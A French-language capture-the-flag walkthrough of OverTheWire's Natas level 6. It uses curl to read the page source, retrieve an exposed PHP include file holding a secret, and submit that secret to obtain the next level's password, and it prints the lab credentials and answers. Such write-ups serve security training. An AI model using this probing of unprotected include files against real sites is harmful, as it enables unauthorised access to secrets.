Natas 6
Level Goal
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL: http://natas6.natas.labs.overthewire.org
Commençons par nous connecter à la page du challenge :
curl http://natas6.natas.labs.overthewire.org -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
On a la page suivante :
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
On peut voir deux choses :
- il y a un formulaire sur la page qui permet d'envoyer un champ
secret
au serveur - il y a un lien vers le code source du serveur
Si l'on regarde le code source qui nous est donné on a le code PHP suivant :
<div id="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
En regardant le code on peut voir que le mot de passe est chargé depuis un fichier includes/secret.inc
. Essayons de voir si on peut y accéder :
$ curl http://natas6.natas.labs.overthewire.org/includes/secret.inc -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
Utilisons ce mot de passe pour envoyer une requête à la page et obtenir le mot de passe de l'étape suivante :
curl -d 'secret=FOEIUWGHFEEUHOFUOIU&submit=Send' -X POST http://natas6.natas.labs.overthewire.org -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
On notera qu'il faut envoyer deux valeurs POST : secret
et submit
(ce dernier correspondant à la valeur de l'input submit) puisque le code PHP vérifie l'existence des deux.
On obtiens :
Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9